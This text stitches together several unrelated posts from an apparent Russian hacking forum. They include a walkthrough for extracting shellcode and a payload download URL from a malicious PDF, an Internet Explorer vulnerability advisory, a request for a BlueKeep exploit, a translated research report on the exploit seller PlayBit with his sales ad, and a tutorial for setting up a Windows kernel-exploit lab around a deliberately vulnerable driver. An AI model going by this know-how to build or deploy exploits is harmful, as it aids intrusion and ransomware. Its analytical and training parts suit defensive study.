неполучается, чтож такое, спускаемся ниже по скрипту и видим строчку
this.collabStore = Collab.collectEmailInfo({subj: "",msg: nabGR_dc});. Вот
оно, коментим её, жмем запуск, вуаля, Script compiled. Теперь нам надо
что-бы скрипт отдал нам шелл код и дальше мы уже будем смотреть что и как,
поэтому ищем строчку var i0a7eJNL = unescape(...);.
Снимаем со строки unescape и ниже пишем document.write(i0a7eJNL);.
Жмем запутить и видим в окне результат. Копируем этот текст и переходим на
вкладку Misc decoders. Вставляем текст, ищем кнопку UC2 To Hex , жмем
её и получаем "многа_букав". Копируем их и переходим на вкладку Hex View.
Там ПКМ на окне редактирования, Paste as hex. Получаем разобранный текст,
в конце которого видим строчку http://.cc/sp/exe.php*. Отсюда то и
грузится наш бинарник)). Для любителей поковыряться дальше, можно еще
посмотреть отдизассменный код (жмякнуть по кнопке Disassembel. Вот мы и
пришли к логическому концу. Спасибо всем, кто соизволил почитать сие. В
дальнейшем планирую написать стотею-обзор о том, как криптовать ПДФ.
Всем спасибо, все свободны.
Множественные уязвимости в Internet Explorer (обновлено)
Программа: Microsoft Internet Explorer 5.01, 5.5, 6
Опасность: Критическая
Наличие эксплоита: Нет
Описание:
Уязвимости позволяют удаленному пользователю выполнить произвольный код на
системе с привилегиями процесса.
1. Уязвимость состояния операции существует при обработке DHTML методов createElement(), appendChild(), и removeNode().Удачная эксплуатация уязвимости позволит удаленному пользователю выполнить произвольный код на целевой системе с привилегиями уязвимого процесса.
2. Уязвимость существует в функции InternetCreateUrlW при обработке длинных URL (более 256 символов). Удаленный пользователь может с помощью специально сформированной web страницы выполнить произвольный код на целевой системе с привилегиями текущего пользователя. Пример:
3. Уязвимость при обработке рейтингов Content Advisor позволяет удаленному пользователю выполнить произвольный код на целевой системе.
URL производителя: www.microsoft.com
Решение: Установите обновления от производителя.
Hi!
Need link to BlueKeep for windows(bksexe)
im very need.
Иследование от : Eyal Itkin and Itay Cohen
Введение
Эксплойты всегда были важной и неотъемлемой частью вредоносных атак. Они
позволяют злоумышленникам получить возможности, которые иначе было бы нелегко
достичь. Независимо от того, стремятся ли злоумышленники получить более
высокие привилегии на данном компьютере или перемещаться по сети, эксплойты
часто играют ключевую роль в их плане. Хотя обычные эксплойты используются во
многих семействах вредоносных программ, наибольшее внимание уделяется авторам
вредоносных
программ, а разработчики эксплойтов остаются вне поля зрения.
В рамках этой статьи мы сосредоточились на самих разработчиках эксплойтов, мы
ранее делились нашей методологией и техникой поиска следов и отслеживания
разработчиков эксплойтов. В нашей *[предыдущей
публикации](https://research.checkpoint.com/2020/graphology-of-an-exploit-
volodya/) мы подробно объяснили
нашу методологию и сосредоточились на Володе, известном разработчике
эксплойтов, за которым мы наблюдали, используя уникальные следы, оставленные в
их эксплойтах. Теперь мы сосредоточимся на другом разработчике эксплойтов,
известном как PlayBit или luxor2008.
*Перевод уже есть на форуме
Первоначальный образец - CVE-2018-8453
Поскольку наша методика исследования авторов эксплойтов превзошла наши
первоначальные ожидания, мы искали новые эксплойты для
исследования....Достаточно скоро мы наткнулись на это
сообщение в блоге
Касперского,
в котором подробно описывается, как Sodin (он же Sodinokibi или REvil),
известная программа-вымогатель, использует 1-day эксплойт для CVE-2018-8453.
CVE-2018-8453 - интересный случай, поскольку раньше он был обнаружен в дикой
природе
Касперским, когда использовался FruityArmor. Из их отчета было ясно, что этот
эксплойт был повторно реализован другим действующим лицом.
Хотя мы предпочли бы исследовать эксплойт, разработанный актором эксплойта
0-Day, нам пришлось довольствоваться эксплойтом, используемым REvil.
Даже из одного этого примера было ясно, что этот новый автор использует
совершенно другой шаблон эксплойта, чем тот, который использовал Володя. К
счастью для нас, автор решил реализовать новые функции,
которых не было в шаблоне эксплойта Володи, что дало нам более широкий выбор
артефактов для поиска. После того, как мы создали несколько правил охоты, мы
начали преследовать нашу добычу.
Эксплойт
Все обнаруженные нами эксплойты, связанные с этим субъектом, были 1-day
эксплойтами для локальных уязвимостей повышения привилегий (LPE) в Windows.
Этот список из 5 различных CVE, которые использовались,
в конечном итоге привел нас к идентичности нашего автора: PlayBit (a.k.a
luxor2008). Полный профиль автора можно найти позже в этом сообщении в разделе
«Отчет разведки».
CVE-2013-3660
Тип: 1-day
Краткое описание : Неинициальзированный указатель в ядре в
EPATHOBJ::pprFlattenRec
Использовалась в: Dyre, Ramnit
Предистория уязвимости:
Эта уязвимость была первоначально обнаружена Тэвисом Орманди из Google и
попала в заголовки газет из-за необычного процесса раскрытия информации -
Microsoft была уведомлена об уязвимости всего за 5 дней до полного раскрытия
информации.
CVE-2015-0057
Тип: 1-day
Краткое описание: UAF в win32k!xxxEnableWndSBArrows
Использовалась в: Dyre, Evotob
Предистория уязвимости:
Эта уязвимость, также известная как MS15-010, была обнаружена Уди Яво,
техническим директором enSilo. [Публичное
раскрытие](https://web.archive.org/web/20150211120820/http:/breakingmalware.com/vulnerabilities/one-
bit-rule-bypassing-windows-10-protections-using-single-bit/) уязвимости
включало техническое объяснение уязвимости, а также план эксплуатации.
Кроме того, авторы специально упомянули, что они могут использовать эту
уязвимость во всех версиях Windows, и даже предоставили демонстрационное
видео.
Несмотря на то, что раскрытие не содержало кода эксплойта, этого было
достаточно, чтобы привлечь внимание нашего а. Через три месяца после патча у
PlayBit уже был рабочий эксплойт,
а через месяц этот эксплойт был [использован трояном Dyre
Banking](https://www.fireeye.com/blog/threat-
research/2015/07/dyre_banking_trojan.html#:~:text=New%20variants%20of%20the%20Dyre,CVE%2D2015%2D0057).&text=CVE%2D2015%2D0057%20is%20a,to%20perform%20local%20privilege%20escalation.).
Исключительный случай этой уязвимости более подробно описан в
[презентации](https://www.blackhat.com/docs/asia-16/materials/asia-16-Wang-A-
New-CVE-2015-0057-Exploit-Technology-wp.pdf) FireEye Black Hat на
CVE-2015-0057.
**CVE-2015-1701
Тип: **1-day
Краткое описание: Ошибка проверки обратного вызова в CreateWindow
Использовалась в: Locky
Предистория уязвимости:
Эта уязвимость, также известная как MS15-051, изначально использовалась в
качестве 0-day в операции, приписываемой APT28.
**CVE-2016-7255
Тип: **1-day
Краткое описание: Повреждение памяти в NtUserSetWindowLongPtr[B]
Использовалась в: [/B]LockCrypt
Предистория уязвимости:
Первоначально использовался как 0-Day, снова приписывается APT28. Этот 0-Day
был обнаружен и использован Володей, а затем снова использован и продан
PlayBit.
**CVE-2018-8453
Тип: **1-day
Краткое описание: UAF в win32kfull!xxxDestroyWindow
Использовалась в: REvil (Sodinokibi), Maze, Neshta
Предистория уязвимости:
Первоначально использовался как 0-Day и приписывался FruityArmor.
Как сообщает
[bitdefender](https://download.bitdefender.com/resources/files/News/CaseStudies/study/318/Bitdefender-
TRR-Whitepaper-Maze-creat4351-en-EN-GenericUse.pdf), программа-вымогатель Maze
использует два разных эксплойта LPE: CVE-2016-7255 и CVE-2018-8453. Что
интересно, они используют эксплойт Володи для CVE-2016-7255 (например,
GandCrab и многие
другие семейства вредоносныхпрограмм), переходя на использование эксплойта
PlayBit для CVE-2018-8453. Мы не только видим, как Володя и PlayBit продают
свои эксплойты одному и тому же злоумышленнику,
но и можем воспользоваться этой возможностью, чтобы узнать об этойдинамике.
PlayBit продает собственный эксплойт для CVE-2016-7255, а Maze решил
использовать эксплойт Володи,
хотя они также приобрели эксплойт у PlayBit (CVE-2018-8453).
Кажется немного необычным, что при покупке эксплойтов LPE участники Maze
решили покупать у двух разных продавцов, тем более что PlayBit продает оба
этих эксплойта. Однако важно помнить,
что программа-вымогатель Maze была впервые обнаруженав 2019 году. Таким
образом, наша теория состоит в том, что, по крайней мере, в некоторых
кампаниях операторы Maze просто «унаследовали» первый эксплойт,
а позже приобрели еще один, чтобы нацелить больше жертв.
Мышление продавца 1-day эксплойтов
Просматривая список CVE, которые использовались PlayBit, мы обнаружили
уникальную закономерность, которую все они разделяют: все уязвимости были уже
«известными» до того, как PlayBit решила реализовать для них эксплойт.
Как мы видим, все CVE, которые наш автор решил использовать в качестве 1-Days,
были уже хорошо известны. Хотя мы не нашли подобной тактики для Володи при
выборе 1-дневных уязвимостей для использования,
похоже, что это помогло PlayBit рекламировать свои эксплойты на подпольных
форумах.
Еще одна характеристика, которую мы обнаружили во всех эксплойтах PlayBit,
которых не хватало у Володи, - это проверка на возможность использования.
PlayBit предоставляет клиенту тонкую оболочку для эксплойта,
которая проверяет, действительно ли целевой компьютер уязвим. Хотя проверка
немного различается для разных эксплойтов и версий, основы те же: проверяется
дата модификации уязвимого драйвера win32k,
чтобы определить, был ли установлен патч.
Это оперативное решение было очень полезным с нашей точки зрения, поскольку эксплойт эффективно сообщает нам, в каком Patch Tuesday была исправлена эксплуатируемая уязвимость:
Следы автора
Теперь, когда мы обнаружили 5 различных эксплойтов PlayBit, мы можем
рассмотреть их более подробно и ознакомиться с рабочими привычками автора. Как
и в случае с Володей, нам с самого начала было ясно, что PlayBit,
вероятно, имеет простой шаблон для развертывания различных эксплойтов.
Поскольку некоторые характеристики автора уже использовались в [предыдущем сравнении с Володей](https://research.checkpoint.com/2020/graphology-of-an- exploit-volodya/), мы решили вместо этого сосредоточиться на других решениях по реализации, некоторые из которых даже не включены в эксплойты Володи.
В каждом эксплойте PlayBit выбирает несколько важных функций и скрывает их
использование. Вместо того, чтобы просто импортировать эти функции на уровень
PE или использовать их строки открытого текста и импортировать их
с помощью GetProcAddress()
, PlayBit разработал свой собственный метод
импорта.
Вот короткий фрагмент кода Python, который выполняет это вычисление «хэша» (больше похоже на контрольную сумму / CRC):
Python:Copy to clipboard
from malduck import ror
def calc_hash(export_str):
crc_value = 0
for c in export_str:
cur_value = ord(c)
# convert lower case back to upper case
if cur_value >= ord('a'):
cur_value -= 0x20 # 'a' - 'A' = 0x20
crc_value = ror(crc_value, 13) + cur_value
return crc_value
Этот метод импорта на основе хешей используется не только во всех эксплойтах автора, мы также смогли найти его в других инструментах, которые они продавали на протяжении многих лет, начиная с 2012 года.
Изучая функции, импортированные с помощью этого механизма, мы обнаружили, что
все они имеют общую черту. Все эти функции используются «шеллкодом», частью
эксплуатации, которая выполняется с высокими
привилегиями и отвечаетза повышение разрешений целевого процесса. Это также
означает, что в каждом эксплойте относительно легко найти шелл-код, поскольку
он ссылается на глобальные переменные,
в которых хранятся адреса специально импортированных функций.
Определение ОС
Как и любой другой опытный разработчик эксплойтов, пытающийся настроить
таргетинг на как можно больше версий ОС, нашему субъекту необходимо определить
точную версию непосредственной цели.
Это означает, что эксплойт идентифицирует и калибрует себя для целевой версии
Windows. В отличие от Володи, PlayBit, похоже, интересует все, что можно
узнать о цели:
Хотя этот вызов API используется во всех эксплойтах, он использовался
исключительно в эксплойте CVE-2013-3660. Поскольку этот API стал устаревшим,
эксплойты с 2015 года и позже используют его только
при запросе пакета обновления и типа ОС. И старший, и младший номер ОС Windows
теперь запрашиваются с использованием другой техники.
Доступ к PEB
Переходя с устаревшего GetVersionEx (), PlayBit решил запросить Process-
Environment-Block (PEB).
Это явная разница в способах работы PlayBit по сравнению с Володей. Мало того,
что они извлекают одну и ту же информацию по-разному, Володя также
интересуется гораздо меньшим объемом информации, чем PlayBit,
даже когда они оба используют одну и ту же уязвимость (CVE-2016-7255).
В общем, оба участника содержат подробные конфигурации для конкретных версий,
из которых они загружают соответствующую информацию после определения версии
ОС. Основное различие между ними заключается в том,
что поток кода в эксплойтах Володи редко зависит от версии ОС, в то время как
PlayBit включает несколько поворотов с использованием различных if-проверок,
которые зависят от версии ОС.
Утечка адресов ядра
В отличие от того, что мы думали изначально, более тщательное изучение
эксплойтов PlayBit показало, что они действительно содержат примитив утечки
указателя ядра. Мало того, что эксплойты содержат такую утечку,
выбранный примитив утечки намекает на высокий уровень понимания внутреннего
устройства Windows. PlayBit напрямую обращается к куче рабочего стола,
хранящейся в пользовательском режиме, через поле Win32ClientInfo
, хранящееся
в блоке Thread-Environment-Block (TEB).
По мере того как Microsoft постепенно исправляла проблему дизайна, которая
допускала эту утечку указателя, PlayBit пришлось внедрять некоторые
обновления, чтобы эта техника продолжала работать. Например,
Creators Update удалил поле ulClientDelta
из Win32ClientInfo
, обязав
эксплойт для CVE-2018-8453 вычислить его вручную. Этот метод был наконец
исправлен Microsoft в Windows 10 RS4.
Примитив утечки позволяет PlayBit узнавать адреса ядра окон, созданных во время эксплуатации. В свою очередь, эта информация используется в нескольких этапах эксплуатации:
Последний пункт более подробно объясняется в следующем разделе.
Обход SMEP
Поколение 0 - без обхода
В начальных версиях более ранних эксплойтов, таких как эксплойт для
CVE-2013-3660 и некоторых версиях CVE-2015-0057, эксплойт заставлял ядро
выполнять шелл-код с заменой токенов, хранящийся в пользовательском режиме.
Обратной стороной этой формы повышения привилегий является то, что SMEP
запрещает ядру выполнять код, который хранится в пользовательском режиме.
Вместо того, чтобы изменять способ выполнения обмена токенами,
PlayBit решил добавить дополнительный уровень, отключающий SMEP. Таким
образом, проблема сводится к той же проблеме с заменой токенов, которую уже
решали ранние эксплойты. Классическое академическое решение.
Поколение 1 - Шеллкод ядра
В этот набор эксплойтов был добавлен дополнительный шелл-код ядра. Этот код
загрузчика копируется в пространство ядра и сохраняется как «имя окна» одного
из окон, поврежденных эксплойтом.
После выполнения код изменяет CR4, чтобы отключить поддержку SMEP, а затем
возвращается к исходной полезной нагрузке пользовательского режима
Эксплойт копирует полезную нагрузку в ядро с помощью системного вызова
NtUserDefSetText
, который объясняет, почему этот системный вызов включен в
конфигурацию каждой версии всех соответствующих эксплойтов.
Обратите внимание, что этот обход SMEP основан на том факте, что приведенный выше фрагмент кода может быть выполнен в режиме ядра, даже если это должно быть имя окна. Тот факт, что пулы памяти были помечены как «исполняемые» (или, точнее, не были помечены как «неисполняемые»), использовался многими злоумышленниками. В конце концов, Microsoft заметила этот недостаток в конструкции памяти ядра и представила пулы Non-eXecutable (NX).
И снова PlayBit решил преодолеть это добавленное ограничение, используя еще одно сокращение, реализованное в эксплойте для CVE-2018-8453.
Поколение 2 - Отключение бита NX в шеллкоде ядра
Это дополнительное изменение было более сложным, чем предыдущее, так как оно
также требовало использования примитивов ядра произвольного чтения и
произвольной записи. Хотя использование этих примитивов позволяет начать с
более чистого
эксплойта, как это делал Володя с 2015 года, PlayBit добавил его только как
дополнительный шаг в сокращении базовой полезной нагрузки обмена токенов в
пользовательском режиме.
Во время этого шага просматриваются записи таблицы страниц в поисках записи,
связанной с шеллкодом ядра. После обнаружения запись маскируется из бита XD
(eXecute Disable) и сохраняется обратно в таблицу.
С этого момента страница памяти, содержащая шелл-код ядра, является
исполняемой, и поэтому может начаться цепочка повышения привилегий.
Фреймворк эксплойтов
После обнаружения достаточного количества образцов, соответствующих шаблону
эксплойта PlayBit для LPE с повреждением памяти Windows, мы решили выполнить
еще одну проверку.
Используя специфические для эксплойтов артефакты от каждого эксплойта, мы
создали дополнительный набор правил охоты и провели еще один поиск.
В этом дополнительном поиске мы нашли образцы Ramnit, которые содержат эксплойт для CVE-2013-3660, но с некоторыми изменениями:
В нашем образце Ramnit используются как CVE-2013-3660 (от PlayBit), так и
CVE-2014-4113 (с использованием того же кода эксплойта, который изначально был
найден как 0-Day). Исходный эксплойт для CVE-2014-4113 был частью
инфраструктуры эксплойтов,
в которой API передает аргумент командной строки, и эта команда выполняется
как SYSTEM. Поскольку это не был исходный API для эксплойта PlayBit, были
внесены некоторые изменения, и эксплойты PlayBit были скорректированы таким
образом,
чтобы они получали аргумент командной строки, который будет выполняться после
повышения.
При дальнейшем изучении этого нового фреймворка мы увидели, что он
соответствует отчету FireEye о банковском троянце Dyre. Поскольку Дайр
эксплуатировал CVE-2013-3660 и CVE-2015-0057, оба из которых были написаны
PlayBit,
это означает, что за время существования этого фреймворка эксплойтов он
включал по крайней мере следующие 3 эксплойта:
Помимо подключения PlayBit к этому ныне несуществующему фреймворку эксплойтов, мы можем сделать дополнительные выводы относительно нашей техники поиска на основе эксплойтов:
По сути, и атрибуция, и поиск более сложны, поскольку структура эксплойтов маскирует многие контрольные признаки отдельного разработчика эксплойта.
Отчет разведки
В отличие от предыдущего сообщения о Володе, на этот раз мы решили провести
дополнительную «проверку фона» на PlayBit. Не зная этого автора, мы подумали,
что это хороший шанс лучше понять, как они работают.
Кроме того, мы могли проверить, насколько хорошо работает наша техника охоты,
основанная на эксплойтах, сравнив найденный список рекламных объявлений с
реальными образцами, которые мы поймали.
Как ни странно, приписать эксплойты нашему автору эксплойтов было довольно просто. Оказывается, помимо использования многочисленных подпольных форумов, существуют также публичные YouTube-каналы, рекламирующие подвиги автора.
По неизвестной причине на самом деле существует два канала YouTube: один для
более ранних эксплойтов, а другой (все еще активный) для более недавних
эксплойтов. Поскольку в видеороликах открыто говорится,
какая CVE используется, процесс атрибуции был очень коротким.
Пытаясь узнать больше об этом авторе, мы нашли только один тонкий отчет. Поэтому мы решили включить подробный профиль автора в этот пост
Реклама автора
Помимо каналов YouTube, о которых мы упоминали ранее, актер использовал
несколько платформ для рекламы уязвимостей.
Независимо от того, размещалась ли реклама на подпольных форумах, YouTube или даже в Pastebin, все они имели общий шаблон:
Code:Copy to clipboard
“
Ring0 LPE Exploit CVE-2015-0057 [All win versions]
Vulnerability: CVE-2015-0057 (Published: February 10, 2015)
Supported versions: XP/2003/Vista/2008/W7/W8/2012/W8.1/2012R2/W10TP
Supported architecture: x86/x64
Development stage: v1.1.1900 (stable)
Shellcode size x86: 13Kb
Shellcode size x64: 16Kb
Bypass all possible Windows security defences:
SMEP
Kernel DEP
KASLR
Integrity Level (escape from Low)
NULL Dereference Protection
UAC
There are no public POCs on this vulnerability. Shellcode has ready for immediate use in your projects. The test demo sources are supplied. Exploit is extremely stable, no bsods or error messages. Can be run under Guest account from Low Integrity Level.
Successfully bypasses proactive defences of:
KIS 2015
Avast IS 2015
ESET Smart Security 8
“
Эти обширные рекламные объявления подчеркивают тот факт, что эксплойт не
обнаруживается поставщиками антивирусных программ и что общедоступные POC не
существуют или имеют низкое качество по сравнению с эксплойтом.
Также очевиден широкий спектр поддерживаемых версий Windows: если данная
версия Windows уязвима для эксплуатируемой уязвимости, вы можете быть уверены,
что эксплойт PlayBit поддерживает ее.
Годы активности
Мы успешно отследили PlayBit до различных эксплойтов и инструментов еще в 2012
году. В среднем актер продает один эксплойт Windows LPE 1-Day в год, включая
недавние эксплойты для CVE-2019-1069 (уязвимость
SandboxEscaper)
и CVE-2020-0787 (еще одна логическая уязвимость).
Переход к эксплуатации логических уязвимостей
Хотя мы выявили 5 образцов уязвимостей Windows LPE, приводящих к повреждению
памяти, реклама показывает, что примерно за последний год их интерес
изменился. Оба недавно проданных эксплойта теперь носят более логичный
характер и могут
указывать на тенденцию на рынке эксплуатации. Зная, что предыдущие эксплойты
PlayBit основывались на недостатке дизайна, который был исправлен Microsoft в
Windows 10 RS 4 (выпущенной 30 апреля 2018 г.), вполне возможно, что меры
Microsoft
по снижению рисков являются одной из причин такого смещения фокуса.
Цены
Как ранее сообщал «Касперский», Володя продавал эксплойты 0-Day по ценам от 85
000 долларов (эксплойт с 2016 года) до 200 000 долларов. Хотя мы не знаем,
какова была цена продажи однодневных эксплойтов, мы ожидали, что цены будут
примерно
такими же. Однако, просматривая различные объявления, публикуемые PlayBit, мы
увидели большой разрыв в ценах по сравнению с Володей.
Все эксплойты Windows LPE рекламировались с ценой от 5000 до 10000 долларов.
Мы даже обнаружили, что актер использовал поддельный псевдоним и заявлял, что
продает эксплойт 0-Day, который на самом деле был эксплойтом 1-Day для
CVE-2016-7255.
Запрашиваемая цена за этот «нулевой день» все еще составляла 35 000 долларов,
что намного ниже 85 000 долларов, за которые Володя продал настоящий эксплойт
нулевого дня той же уязвимости. Кроме того, мы не смогли найти тенденции
ценообразования
для различных эксплойтов, поскольку с 2015 по 2020 год все они продавались по
одинаковой цене.
Подведение итогов разведывательного отчета
Хотя поначалу это не было интуитивно понятно, тот факт, что мы не видели
рекламы других CVE (с тем же шаблоном эксплуатации), на самом деле является
хорошей новостью. Это означает, что наша методика сработала лучше, чем
ожидалось:
полностью техническая охота на эксплойты PlayBit без какого-либо интеллекта
все же смогла охватить все их эксплойты, которые возникли из шаблона
эксплойтов, с которого мы изначально начали.
Помимо Windows LPE, мы обнаружили еще два интересных инструмента, которые PlayBit разрабатывает/с которыми сотрудничает.
get_module_by_hash()
/get_func_by_hash()
.Клиенты
«Клиенты», то есть вредоносные программы, которые используют эксплойт PlayBit
либо напрямую, либо с помощью инфраструктуры эксплойтов, являются преступным
ПО. Наиболее известными являются популярные программы-вымогатели, которые
используют эксплойты PlayBit для повышения своих привилегий перед шифрованием
диска жертвы. Эти программы-вымогатели включают Maze, Locky, LockCrypt и REvil
(Sodin, Sodinokibi). Другим вредоносным ПО являются популярные трояны,
такие как Ramnit и Dyre.
Заключение
В этой статье мы продемонстрировали другой случай, когда мы смогли
идентифицировать разработчика эксплойта, не имея предварительных сведений о
разработчике или каких-либо общедоступных профилях. Все, с чего мы начали, -
это единственный
образец. Мы показали, что PlayBit, как и Володя, обладает уникальным набором
вариантов, подходов, методологий и комбинаций решений по реализации. Собрав
все части, нам удалось понять и профилировать PlayBit, а также приписать
образцы к актеру.
Мы также воспользовались возможностью, чтобы сравнить PlayBit и Volodya, и
выделить различия между их стилями кодирования и предпочтениями.
Помимо технических аспектов, исследователи впервые подробно описали PlayBit.
Мы изучили рынок эксплойтов, рекламу, каналы YouTube и сотрудничество между
разработчиками эксплойтов и авторами вредоносных программ.
Разработка эксплойта - это только начало. Следующим шагом является монетизация
«продукта» и продажа клиентам высококачественного программного обеспечения,
которое является относительно стабильным и поддерживает как можно больше
версий.
После успешного профилирования PlayBit и Володи мы считаем, что нашу
методологию исследования можно использовать также для выявления дополнительных
авторов эксплойтов.
Поэтому мы рекомендуем другим исследователям попробовать наш подход и добавить
его в свой инструментарий.
От ТС
Эта статья являеться переводом - [этой
статьи](https://research.checkpoint.com/2020/graphology-of-an-exploit-
playbit/)
В очередной раз спасибо weaver за материал
Если есть предложения, что перевести, вам
сюда
Перевод:
Azrv3l cпециально для xss.is
Этот топик создан для обсуждения различных курсов по разработке сплойтов, поиску багов, фаззингу, исследованию уязвимостей, DevSecOPs, тренингов итд. Все мы знаем, что в большинстве случаев все курсы и тренинги это обман, чтобы содрать с вас деньги. К тому же вся информация есть в интернете и она доступная каждому, главное правильно искать её. А если правильно организовать тайм-менеджемент и правильно структурировать информацию, то и курсы в общем то не нужны. Но бывают исключения, когда в лучшем случае будет записаться на какой либо курс или пройти тренинг. Чтобы в кратчайшие сроки получить инфу которую не будешь структурировать и впитывать достаточно длительное время. Примером таких курсов являются <https://windows-internals.com/pages/training- services/>
В общем компания Offensive-Security презентовала новый курс по разработке эксплойтов под Windows в Usermode. Я не мог закрыть на это глаза, поэтому делюсь с вами своими мыслями.
Сама новость
![www.offensive- security.com](/proxy.php?image=https%3A%2F%2Fwww.offsec.com%2Fapp%2Fuploads%2F2021%2F01%2FEXP301-blog- post.png&hash=5ca6b62ca2273ae682d4594d72464a9d&return_error=1)
Get official answers to the most common questions about OffSec’s new Windows User Mode Exploit Development course and the OSED exam.
![www.offensive-security.com](/proxy.php?image=https%3A%2F%2Fwww.offensive- security.com%2F_astro%2Ffavicon.BMs0eEax.ico&hash=ed998dbe4c15d7e8ec27918ad44c394e&return_error=1) www.offensive-security.com
Сам курс
Learn to bypass common security mitigations with exploits created from scratch. Earn your OffSec Exploit Developer (OSED) certification.
![www.offensive-security.com](/proxy.php?image=https%3A%2F%2Fwww.offensive- security.com%2F_astro%2Ffavicon.BMs0eEax.ico&hash=ed998dbe4c15d7e8ec27918ad44c394e&return_error=1) www.offensive-security.com
Программа обучения
https://www.offensive-security.com/documentation/EXP301-syllabus.pdf
Собственно вот мои мысли...
Забавно, что по окончанию курса выдается сертификат "Offensive Security Exploit Developer" (OSED), звучит он конечно гордо, вот только программа курса, не очень впечатляет. Сыроват он очень. Чем то напоминает тренинг от Corelan. Но думаю для старта карьеры с таким цертом джуном можно будет устроиться на работу. Мой вывод, ради инфы не стоит проходить этот курс, ради церта\работы (начала своей карьеры) да.
p.s.
Это не рекламный топик.
p.p.s.
Делимся мнениями и мыслями по поводу курсов итд...
Из разряда разработки эксплойтов, поиска багов, фаззинга, исследования
уязвимостей, DevSecOPs
В этой статье я пошагово разберу, как настроить среду для разработки и отладки эксплойтов ядра Windows. Кроме того, во второй половине статьи, мы с вами напишем эксплоит под уязвимость ArbitraryOverwrite.
Заранее предупрежу, что статья расcчитана на новичков, которые хоть что-то
читали о том как писать LPE эксплоиты под ядро Windows.
Если вы профи с большим опытом, ничего интересного для вас здесь пожалуй не
будет. Точно также как и для тех, кто ничего не знает о ядре.
Содержание
Введение
Если вы уже интересовались темой эксплуатации ядра Windows, то наверняка
натыкались на 1000 и 1 статью о том как настроить виртуальный полигон для
разработки эксплойтов.
Но ни одна из всех тех статей, которые я читал, не показалась мне достаточно
полной и подробной, так что я решил написать свою.
В качестве хостовой машины, сегодня выступит Windows 10. Можно конечно
выполнить всё ниже описанное в Linux, но как показывает практика, по большей
части это только усложнит задачу.
У меня установлена Windows 10 1909
, на её примере я и разберу настройку
среды.
Инструментарий
Лучше заняться установкой всех нужных инструментов заранее, чтобы потом не
тратить на это время. Всего, на ПО и виртуальные машины, нам понадобиться
около 150 гигабайт свободного пространства.
Под виртуальные машины я бы рекомендовал докупить отдельный диск, как это
сделал я, хотя это и не обязательно.
Гипервизор
Кандидатов на роль гипервизора у нас, по обыкновению, два:
VMWare и
VirtualBox.
Я предпочитаю VMWare. Поэтому, все скрины в этой статье будут сделаны в
ней. Хотя вы, по желанию, можете использовать VirtualBox.
Разводить холивар о том что лучше, и растягивать и без того длинную статью я
не собираюсь.
VMWare - платное ПО, учить вас пиратить я не буду)
Моя версия : VMware® Workstation Pro 15.1.0 build-13591040
VirtualKD
VirtualKD - это невероятно
полезный инструмент, созданный для упрощения отладки виртуальных машин
Windows. Он самостоятельно переводит VM в тестовый режим, открывает COM порт
для отладки, и делает ещё кучу рутинной работы за нас.
Более подробно можно прочитать в официальном
гайде
Отладчик
Роль отладчика исполнит WinDBG Preview. Вы с тем же успехом можете
использовать обычный WinDBG, но я предпочту Preview версию.
Не только из-за более вкусного интерфейса, но и из-за простоты использования.
Единственный его минус - невозможность установки дополнений WinDBG.
Если я ошибаюсь, и есть способ установки дополнений - отпишите в теме, будет
интересно почитать.
Ставил я его из Microsoft Store: <https://www.microsoft.com/en-us/p/windbg-
preview/9pgjgd53tn86?activetab=pivot:overviewtab>
Вы так-же можете поставить Windbg Preview из сторонних источников.
Образы
На этом этапе, следует скачать все необходимные образы OS. В своей практике я
использую следующий пречень:
Конечно это ещё не всё, и в процессе разработки N-Day эксплойта, вам могут
понадобиться и другие редакции OS. Но перечисленного выше обычно бывает
достаточно.
Также я отдельно держу постоянно обновляемый образ Windows 10, он тоже часто
бывает нужен.
Пакет установки
Перед тем как приступать к созданию виртуальных машин, я предлогаю собрать
свой пакет ПО для установки.
У каждого он будет разный. Состав зависит от того, как вы видите процесс
разработки и каким ПО пользуютесь.
Мой состоит из:
*Установщик VirtualKD VM - это папка target32 или target64, которая лежит внутри каталога VirtualKD. Она пригодится нам, на этапе настройки VM.
При установке я также добавляю в пакет обои, так как стандартные начинают
раздражать.
Создаем VM
Ниже пример создания виртуалки в VMWare. Если вы предпочли VirtualBox, можете
прочитать. как создать виртуалку [тут](https://vellisa.ru/sozdanie-
virtualnoy-mashinyi-virtualbox)
Для создания VM, откройте Файл -> Новая виртуальная машина...
, или просто
нажмите Ctrl+N
Я намеренно пропустил те шаги, где просто нужно нажать Далее
1. Указываем путь до ISO файла
2. Указываем имя VM
3. Выбираем BIOS/UEFI
4. Настраиваем параметры процессора. Я обычно ставлю 4 ядра
5. Выбираем объем оперативной памяти. Опять же, ставлю 4
6. Настраиваем сеть
7. Выбираем тип диска и указываем объём
8. Результат
Добавляем общую папку
Общая папка - каталог, доступ к которому имеют и виртуальные машины и машина
хоста.
Сегодня этот каталог выступит нашим полигоном для эксплойтов.
Переходим к параметрам VM, и добавляем общую папку.
Настраиваем VM
Для подключения нашей VM к VirtualKD, нужно запустить установщик, который
перезапишет загрузчик.
Примечание: При копировании, переностие весь каталог target32 или target64, а
не только исполняемый файл.
Теперь, каждый раз при запуске виртуальной машины, нужно будет:
Если не соблюдать порядок, то вы не получите reconnect, и отладчик не
подключится.
Если всё сделали правильно, отладчик должен сплюнуть примерно слeдующее:
Тоже самое надо повторить и с остальными образами. Далее, я буду писать
эксплоит под Windows 10 x64 1607 Redstone 1.
Как только среда готова, переходим к разработке
Тестируем на практике
Безусловно, всем хотелось бы видеть в качестве парктики какую-нибудь N-day
уязвимость. Но к сожалению, у меня сейчас не хватает времени писать
полноценный LPE N-Day для статьи, да и новичкам будет проще воспроизвести мою
статью,
и написать свой эксплоит, если в качестве примера выступит тестовый драйвер.
Так что отложим N-day на следующий раз.
Code:Copy to clipboard
ooooo ooooo oooooooooooo oooooo oooo oooooooooo.
`888' `888' `888' `8 `888. .8' `888' `Y8b
888 888 888 `888. .8' 888 888
888ooooo888 888oooo8 `888. .8' 888 888
888 888 888 " `888.8' 888 888
888 888 888 o `888' 888 d88'
o888o o888o o888ooooood8 `8' o888bood8P'
*По другому вставить ASCII арт не получилось
Целью эксплуатации сегодня выступит HEVD (HackSys Extreme Vulnerable
Driver) - это специально написанный пример уязвимого драйвера Windows.
Если вам будет интересно дальше эксплуатировать уязвимости из HEVD, то на
форуме уже есть статьи с разбором - https://xss.is/threads/30115/, очень
рекомендую.
Скачать драйвер можно тут
Устанавливаем HEVD
Для установки HEVD , нам понадобиться замечательный, но очень старый
инструмент, которому к сожалению нет аналогов - OSR Driver Loader
Ссылка на скачивание
здесь
Открываем программу и в поле Driver Path
, указываем путь до HEVD.sys
Далее указываем Service Start
как Automatic
И прожимаем Register Service
